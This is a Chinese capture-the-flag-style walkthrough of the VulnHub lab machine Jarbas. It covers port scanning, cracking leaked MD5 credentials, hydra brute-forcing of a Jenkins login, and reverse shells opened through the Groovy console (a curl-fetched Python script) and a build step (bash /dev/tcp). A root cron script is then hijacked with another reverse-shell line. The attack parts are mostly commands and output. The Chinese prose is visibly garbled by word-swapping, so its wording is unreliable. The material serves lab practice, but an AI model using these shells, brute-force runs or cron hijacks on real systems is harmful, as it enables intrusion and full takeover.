vulnhub: Jarbas官方下载
难度:⭐
前言
作为初学者入门的第1台boot2root类型靶机,Jarbas涵盖了一些常见的浸透技巧,其攻击链包含了浸透进程中常见的代码履行缝隙、计划使命提权等流程,一起也不乏一些细节上的考量。
看完这篇文章,你将了解面对大型CMS时的浸透思路,包含常见的反弹shell方法和类型;取得体系初始立足点之后,习得一些体系根本信息枚举的方法,以及常见提权的思路。
侦查
nmap广域信息搜集
nmap作为一款风行全球、经久不衰的开源网络扫描器,自身具有及其丰富的功用,支撑各种扫描选项,包含但不限于:设定扫描速率、进行不同勘探方针的扫描(即具体信息)等,而且能够将扫描成果以txt、html、xml等格局进行输出。
打开kali终端,运用nmap
进行kali地点网段的主机发现
sudo nmap -sn 10.10.10.0/24
在nmap扫描中,运用sudo
会进行更多的体系调用,就能运用更多的勘探方法,然后进步勘探的准确性和效率;-sn
这个选项告知nmap仅进行主机发现,而不进行端口扫描或服务勘探。即只检查方针IP是否活跃,而不关心方针主机上哪些端口是敞开的或运转了哪些服务。这是一种快速且低调的扫描方法,由于它不会在方针主机上留下太多痕迹。
在我的kali中,扫描成果如下:(仅作参阅)
┌──(rainbowpigger㉿kali)-[~]
└─$ sudo nmap -sn 10.10.10.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-22 11:52 EDT
Nmap scan report for 10.10.10.1
Host is up (0.00088s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 10.10.10.2
Host is up (0.00018s latency).
MAC Address: 00:50:56:F9:CD:83 (VMware)
Nmap scan report for 10.10.10.139
Host is up (0.00034s latency).
MAC Address: 00:0C:29:7D:34:C8 (VMware)
Nmap scan report for 10.10.10.254
Host is up (0.00021s latency).
MAC Address: 00:50:56:E7:AE:4F (VMware)
Nmap scan report for 10.10.10.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 14.98 seconds
其间,10.10.10.128
是本地kali的IP地址,10.10.10.1
是物理机的私网IP,10.10.10.2
为网关,10.10.10.254
为广播地址,10.10.10.139
即为咱们的靶机IP。
运用nmap
进行TCP端口扫描
sudo nmap -sS --min-rate 10000 -p- 10.10.10.139
-sS
选项即“半敞开”扫描形式,履行SYN扫描,由于其无需完结TCP三次握手的完好进程,因而它相对较快且不会在方针主机上留下完好的衔接记载,然后具有必定的隐蔽性;--min-rate 10000
指定发送数据包的最小速率为10000,即每秒最少发送10000个数据包,在国内外大佬打靶中遍及选用这个数值,但在实践攻防进程,10000这个数值偏高,会造成网络拥塞甚至方针机器崩溃,因而实战中慎用!-p
指定扫描端口,-
表明一切端口(65535个)。
扫描成果:(仅作参阅)
┌──(rainbowpigger㉿kali)-[~]
└─$ sudo nmap -sS --min-rate 10000 -p- 10.10.10.139
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-22 11:57 EDT
Nmap scan report for 10.10.10.139
Host is up (0.00039s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
8080/tcp open http-proxy
MAC Address: 00:0C:29:7D:34:C8 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 19.41 seconds
扫描成果显现,敞开端口:22、80、3306、8080,他们分别运转着ssh、http、mysql和http-proxy等服务
接着进行敞开端口的具体信息扫描
sudo nmap -A -p 22,80,3306,8080 10.10.10.139
-A
选项是-sV
和-O
的结合,即勘探运转服务版别并进行操作体系检测,不指定端口类型时默认以TCP端口进行扫描
扫描成果(仅作参阅):
┌──(rainbowpigger㉿kali)-[~]
└─$ sudo nmap -A -p 22,80,3306,8080 10.10.10.139
[sudo] rainbowpigger 的暗码:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-22 12:17 EDT
Nmap scan report for 10.10.10.139
Host is up (0.00060s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 28:bc:49:3c:6c:43:29:57:3c:b8:85:9a:6d:3c:16:3f (RSA)
| 256 a0:1b:90:2c:da:79:eb:8f:3b:14:de:bb:3f:d2:e7:3f (ECDSA)
|_ 256 57:72:08:54:b7:56:ff:c3:e6:16:6f:97:cf:ae:7f:76 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Jarbas - O Seu Mordomo Virtual!
| http-methods:
|_ Potentially risky methods: TRACE
3306/tcp open mysql MariaDB (unauthorized)
8080/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| http-robots.txt: 1 disallowed entry
|_/
MAC Address: 00:0C:29:7D:34:C8 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.60 ms 10.10.10.139
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.58 seconds
其间,ssh-hostkey
下为主机密钥指纹信息,在easy级打靶进程中根本不会用到;http-server-header
中显现web服务器和PHP版别,在80端口嗅探的时候或许派得上用场;http-title
显现站点名称;3306端口运转着mysql数据库;8080端口运转着Jetty服务,Jetty是根据JAVA的开源容器,说简略点儿,便是一个根据http协议的web服务器;再往后是OS版别,3.2-4.9应该是很低的了,目前linux内核大版别能够到6以上。
稍难一点儿的靶机还会做UDP扫描,不过在Jarbas这台easy级靶机上没有必要
80端口信息嗅探
80端口作为权重最大的板块,应当是咱们重心与精力给予最多的一部分。在easy级靶机浸透进程中,80勘探的优先级一般排在21、110、139、445之后。
打开浏览器,URL栏输入靶机IP,检查web主页
时代有点儿长远,看着有点儿像新葡京的UI
经过将光标悬停在超链接上,能够在页面左下角看到该链接跳转的页面,在如图所示的主页中,只有诸如10.10.10.139/#
这样的锚点和一些外部链接;检查一下查找栏的交互性能够发现,并没有和数据库互通,这只是是一个模板,没有任何的动态页面。
当web主页查找结束后,就应该挖掘该网站根目录下还有没有其他文件和界面
运用gobuster
进行目录爆炸
sudo gobuster dir -u http://10.10.10.139/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt
gobuster有许多指令选项,这儿运用dir
来进行目录枚举;-u
即--url
,参数值为方针URL;-w
即--wordlist
,参数值为运用的字典,这儿运用的是gobuster的默认字典,在/usr/share/dirbuster/
目录下;-x
即--extension
,参数值为要枚举的文件名关键字,由于文件名一般都有扩展名,因而咱们这儿就运用扩展名作为关键字。
爆炸成果(仅作参阅):
┌──(rainbowpigger㉿kali)-[~]
└─$ sudo gobuster dir -u http://10.10.10.139/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[ ] Url: http://10.10.10.139/
[ ] Method: GET
[ ] Threads: 10
[ ] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[ ] Negative Status codes: 404
[ ] User Agent: gobuster/3.6
[ ] Extensions: php,html,txt
[ ] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 207]
/index.html (Status: 200) [Size: 32808]
/access.html (Status: 200) [Size: 359]
/.html (Status: 403) [Size: 207]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================
能够看到,http状态码为200的即为敞开界面,index.html
应该便是刚才那个jenkins主页;Status为403阐明存在该文件,可是无权限拜访;access.html
不是web的常见文件,应该会有有价值的信息呈现。
拜访该页面,的确有一些咱们感兴趣的内容
“凭证以一种安全的方法存储着!” 暗示了下面3条数据的敏感性。凭证通常格局为username:password
,观察图中的password,仅有数字和a-f的字母组成,而且长度为32位,极大概率是md5格局加密,运用在线网站进行md5解密
md5的解密能够用在线网站,例如:www.cmd5.com(行业俊彦,看主页就知道,不过需求收费)、www.hashes.com(成功率也适当高)、www.somd5.com(仅支撑md5解密) 或许在kali中选用指令行方法进行解密,例如:
hashcat
、john
等闻名东西
解密后password为:
italia99
vipsu
marianna
将用户名存放在user.txt
里,解密出的暗码存放在pass.txt
中
其他端口的信息嗅探
当得到多组凭证时,咱们就应该考虑他们会用在哪个环境下,在哪个登陆界面会作为正确凭证进入体系;在复杂的靶机中往往会存在许多搅扰信息,会有许多种选择摆在面前,当然,由于这是一台easy难度的靶机,所以没有这些顾忌。根据端口扫描的成果,靶机22端口敞开了ssh服务,测验一下长途登录。
由于有多组凭证,能够运用hydra
进行自动化操作
hydra -L user.txt -P pass.txt ssh://10.10.10.139
hydra是一款及其强悍的暴力破解东西,更多指令选项及参数将在后续靶机精讲中进行具体剖析
回来的成果好像没有看到任何发展,也便是说这并不是ssh登录的凭证,但这并不意味着咱们这一步操作就没有用,在后续的高难度靶机中,相似的兔子洞举目皆是,一些关键性的测验是特别必要的。
测验衔接靶机的数据库
mysql -h 10.10.10.139
终端显现没有足够的权限,也便是说靶机并没有颁发其他IP长途拜访的权限,那这条路显然是行不通的
拜访8080端口,打开浏览器,URL栏中在IP地址后加上8080端口,拜访主页,发现是jenkins的后台登录界面
任何能够与后端产生交互的地方都值得咱们引起留意,假如咱们没有得到凭证或许最早勘探的不是80端口而是8080端口,或许咱们会考虑检测有无sql注入或许XSS缝隙、弱口令等,但现在手握账号暗码,就能够直接运用hydra
进行自动化操作
hydra 10.10.10.139 http-post-form -s 8080 "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=/&Jenkins-Crumb=820dc81c0730b970cdcd8b346ca26ef2&json={"j_username": "1", "j_password": "1", "remember_me": false, "from": "/", "Jenkins-Crumb": "820dc81c0730b970cdcd8b346ca26ef2"}&Submit=log in:Invalid login information. Please try again." -L user.txt -P pass.txt
这儿看着代码十分长,但其逻辑十分简略。鉴于登录平台是根据闻名大型集成结构搭建的,当发送登录恳求时,POST参数或许不只两个,此时能够借助BurpSuite抓包检查完好恳求,主要看两点:1. 恳求的方针途径,这儿是/j_acegi_security_check
;2. 完好的POST参数,即j_password
、j_username
、from
、Jenkins-Crumb
、json
、Submit
,看着许多,但都能够从BP恳求包中仿制过来
别的,hydra的POST方法爆炸有必定格局要求,首要有必要加上http-post-form
标识,而且要写在[HOST]
后边;-s
指定端口;双引号内有2个冒号,第1部分为方针页面途径,第2部分指定所需求的参数,其间表单所需求的值用^USER^
(用户名)和^PASS^
(暗码)变量表明,参数名即上述BP抓包得到的信息,第3部分为过错回显关键字;-L
指定用户名字典,-P
指定暗码字典。
参阅成果:
┌──(rainbowpigger㉿kali)-[~/jarbas]
└─$ hydra 10.10.10.139 http-post-form -s 8080 "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=/&Jenkins-Crumb=820dc81c0730b970cdcd8b346ca26ef2&json={"j_username": "1", "j_password": "1", "remember_me": false, "from": "/", "Jenkins-Crumb": "820dc81c0730b970cdcd8b346ca26ef2"}&Submit=log in:Invalid login information. Please try again." -L user.txt -P pass.txt
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-23 01:53:45
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:3/p:3), ~1 try per task
[DATA] attacking http-post-form://10.10.10.139:8080/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=/&Jenkins-Crumb=820dc81c0730b970cdcd8b346ca26ef2&json={"j_username": "1", "j_password": "1", "remember_me": false, "from": "/", "Jenkins-Crumb": "820dc81c0730b970cdcd8b346ca26ef2"}&Submit=log in:Invalid login information. Please try again.
[8080][http-post-form] host: 10.10.10.139 login: eder password: vipsu
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-23 01:53:46
得到正确登入后台的办理员凭证eder:vipsu
运用可履行句子结构反弹shell
进入办理后台,由于页面数量庞大、可履行操作巨多,因而咱们需求给接下来的操作设立优先级。其间,优先级最高的是可交互性履行页面,例如发布html文本、增加shell片段、可上传文件或图片等;其次是设置选项,其间包含了约束性及可运用选项。就本台靶机而言,由于版别较老,因而暴露出的攻击面比较多,在此介绍两种反弹shell的方法。
法一:
在 体系办理 中,有一个 脚本指令行,能够进行根据groovy语法的指令交互,例如:
println('whoami'.execute().text)
点击运转,在页面下方有回显
既然存在指令交互,那就能够考虑结构反弹shell,毕竟只是依靠web端的指令驱动操作起来实属不方便。经过测验,常见的bash一句话反弹句子和php句子均不能实现意图,只能运用python生成反弹shell。这个结论不是一蹴即至的,网络环境扑朔迷离,需求不断试错,找寻最佳战略。
由于前端存在一些字符的约束与歧义,能够经过本地创立文件、长途操控靶机获取文件的方法履行文件然后getshell
首要在本地创立python文件reverse_shell.py
,将预备好的payload放入其间(网上的许多payload都用不了,msf的也收效甚微),我从某博客平台上友爱地取了一份:
#!/usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.10.128",1000));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
用php发动一个内置web服务器
sudo php -S 0.0.0.0:80
sudo
用于在低于1024端口上发动服务;-S
发动内置web服务器;0.0.0.0:80
监听一切网络接口的80端口。发动web服务器后,就能够在靶机上获取本地文件。
println('curl -o /tmp/reverse_shell.py http://10.10.10.128/reverse_shell.py'.execute().text)
此处需求将文件下载到tmp目录下,不论是home仍是var目录下都是没有权限的,能够经过touch /var/www/html/demo
进行验证。
当kali呈现下列提示时阐明传输成功
┌──(rainbowpigger㉿kali)-[~/jarbas]
└─$ sudo php -S 0:80
[Sat Mar 23 04:40:32 2024] PHP 8.2.12 Development Server (http://0:80) started
[Sat Mar 23 04:41:21 2024] 10.10.10.139:39046 Accepted
[Sat Mar 23 04:41:21 2024] 10.10.10.139:39046 [200]: GET /reverse_shell.py
[Sat Mar 23 04:41:21 2024] 10.10.10.139:39046 Closing
此时python文件应该处在tmp目录下,赋予履行权限
println('chmod 777 /tmp/reverse_shell.py'.execute().text)
kali中运用nc
发动监听
nc -lvp 1000
-p
指定监听端口;-v
敞开具体形式(verbose);-l
即入站衔接。本地监听的方法很固定,至少在easy阶段有一半的靶机都需求用到这句指令。(注:-p
需求作为最后一个选项)
web端长途履行文件
println('/tmp/reverse_shell.py'.execute().text)
kali中呈现以下显现即反弹shell成功
┌──(rainbowpigger㉿kali)-[~/jarbas]
└─$ nc -lvp 1000
listening on [any] 1000 ...
10.10.10.139: inverse host lookup failed: Unknown host
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.139] 55908
sh: no job control in this shell
sh-4.2$
法二:
在 新建使命 中往往存在一些文本编辑的选项以及可运用代码,以第一个项目为例
点击“确认”进入项目装备界面,在装备界面中,可选操作十分多,这一步便是靠经历,不然就很费时间,一不仔细就或许错失许多关键信息。假如各位仔细观察,就会在“构建”一栏发现 可履行shell
直接在交互框中写入bash的反弹句子即可
bash -i >& /dev/tcp/10.10.10.128/1000 0>&1
点击“保存”后,句子并不会当即履行。在大多数的反弹shell靶机中,都需求进行额外的履行操作,譬如经过文件夹点击履行等方法。在此台靶机中,jenkins现已为咱们预备好了“当即构建”选项
在“当即构建”之前,咱们需求保证kali中现已敞开了nc监听
nc -lvp 1000
当kali中呈现以下显现即表明反弹shell成功
┌──(rainbowpigger㉿kali)-[~/jarbas]
└─$ nc -lvp 1000
listening on [any] 1000 ...
10.10.10.139: inverse host lookup failed: Unknown host
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.139] 55910
bash: no job control in this shell
bash-4.2$
枚举
到这儿,咱们现已取得了体系初始立足点。首要检查当时用户信息,运用whoami
检查当时用户;运用id
检查当时用户id及其所属用户组,uid在1000以下一般为功用性账号,1000及以上的是分配有bash环境的真实用户
bash-4.2$ whoami
whoami
jenkins
bash-4.2$ id
id
uid=997(jenkins) gid=995(jenkins) groups=995(jenkins) context=system_u:system_r:initrc_t:s0
然后检查体系根本情况,运用cat /proc/version
检查linux内核信息;用ip a
检查靶机IP及网卡相关信息
bash-4.2$ cat /proc/version
cat /proc/version
Linux version 3.10.0-693.21.1.el7.x86_64 (builder@kbuilder.dev.centos.org) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-16) (GCC) ) #1 SMP Wed Mar 7 19:03:37 UTC 2018
bash-4.2$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 00:0c:29:7d:34:c8 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.139/24 brd 10.10.10.255 scope global dynamic ens33
valid_lft 1282sec preferred_lft 1282sec
inet6 fe80::9114:a460:aa3:9dd5/64 scope link
valid_lft forever preferred_lft forever
看内核也能够用uname -a
,不过不及cat /proc/version
具体
运用sudo -l
测验能否检查当时用户能以root权限履行的文件
bash-4.2$ sudo -l
sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for jenkins:
需求暗码,但由于咱们是经过reverse的方法得到的shell,因而不知道该用户的凭证
假如运用
sudo -l
时体系提示没有tty,阐明当时的shell等级太低,交互性不足,可选用以下方法处理python -c "import pty;pty.spawn('/bin/bash')"
python、python3均可
运用cat /etc/passwd
检查当时体系还存在哪些用户;运用ls -l /etc/shadow
看能否读到shadow文件,shadow文件以哈希值的形式存放着一切用户的暗码,在/etc/passwd
文件中会以x
占位表明
盘点完体系根本状态信息,接下来就要揣摩如何提升为root权限,这也是初期打靶最大的难点之一。提权无非就3种思路,B站的红队笔记在这点上讲的十分透彻。本台靶机就运用了低权限修正、高权限履行的提权思想。
检查体系有无计划使命
cat /etc/crontab
/etc/crontab
中包含了一系列守时使命,而且其具有相对严苛的语法规则。例如在如下的检查成果中
bash-4.2$ cat /etc/crontab
cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
*/5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1
第17行为计划使命,表明每5分钟以root身份履行/etc/script/CleaningScript.sh
文件,并将一切输出定向到/dev/null
中,适当于windows中的回收站,即扔掉一切该文件的输出内容;2>&1
表明将规范过错输出定向至规范输出,说人话便是不论是报错信息仍是正常输出内容都扔到垃圾桶里。
看到这儿咱们就不难想到,以root身份履行的文件,其自身运转时的权限十分高,不论文件里是什么内容,统一都打上了root权限的标签,因而假如咱们能够往文件中增加一些提升当时shell权限的指令,就能够到达提权的意图。
检查计划使命的履行文件
bash-4.2$ cat /etc/script/CleaningScript.sh
cat /etc/script/CleaningScript.sh
#!/bin/bash
rm -rf /var/log/httpd/access_log.txt
CleaningScript.sh
中有哪些内容现已无关紧要,只要咱们有可写的权限,就能够如法炮制,经过反弹rootshell的方法实现提权
写入一句话bash反弹句子
echo 'bash -i >& /dev/tcp/10.10.10.128/999 0>&1' >> /etc/script/CleaningScript.sh
成功写入后的文件内容应该是这样的
bash-4.2$ cat CleaningScript.sh
cat CleaningScript.sh
#!/bin/bash
rm -rf /var/log/httpd/access_log.txt
bash -i >& /dev/tcp/10.10.10.128/999 0>&1
本地启用nc监听999端口,等候最多5分钟即可收到rootshell
┌──(rainbowpigger㉿kali)-[~/jarbas]
└─$ nc -lvp 999
listening on [any] 999 ...
10.10.10.139: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.139] 36566
bash: no job control in this shell
[root@jarbas ~]#
结语
这是本系列的首台靶机精讲,其间说到的以及未运用的一些闻名东西我将会在后续靶机中为我们娓娓道来;面对相同的环境与窘境,总会有不同的处理方案,我将在后续文章中继续剖析不同的打法思想与技巧。
假如各位读者有任何本台靶机相关的疑问或许有对本台靶机更好的见地,欢迎随时对我进行信息轰炸,我将竭诚回复!